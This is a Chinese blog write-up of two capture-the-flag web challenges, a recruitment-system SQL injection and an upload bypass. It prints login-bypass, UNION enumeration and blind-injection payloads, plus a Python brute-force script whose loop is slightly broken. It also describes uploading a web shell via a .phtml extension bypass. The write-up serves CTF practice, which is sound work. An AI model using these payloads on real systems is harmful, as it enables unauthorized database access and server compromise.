

i春秋 web 简单的招聘系统(sql注入)、ezupload(upload)

原创

H4ppyD0g 于 2020-02-29 13:07:36 发布 525 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_42172261/article/details/104503538

版权

简单的招聘系统(sql注入)

登录界面可以使用万能密码登录 `1' or 1=1;#`

然后再search for key模块进行注入

```
1' order by 5#
1' union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema=database()#
1' union select 1,2,3,4,group_concat(column_name)from information_schema.columns where table_name=flag#
1' union select 1,2,3,4,group_concat(flraag)from flag#
```

看wp，有的人是直接登录界面进行sql盲注

```
1' and (ascii(substr((select(group_concat(flraag))from(flag)),1,1))=102)#
```

上脚本

```
import requests
import string

ls = string.printable
url = "http://..."
headers = {"cookie": ""}
data = {"key": ""}

for i in range(1, 60):
    for j in ls:
        # payload = "1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_sch
        # payload = "1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_sch
        payload = "1' and (ascii(substr((select(group_concat(xx))from(xx)),%d,1))=%d)#" % (i, ord(j))
        print(payload)

    data["key"] = payload
    r = requests.post(url, headers=headers, data=data)
```

ezupload(upload)

可以直接上传小马，菜刀连接后在根目录里找到flag。

这么弱智的题本菜鸡还做了好长时间。

wp说是出题翻车了才这么简单。

源码中有这么一段

```
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}
```

正常情况应该是phtml绕过，也就是把文件名后缀改成.phtml即可。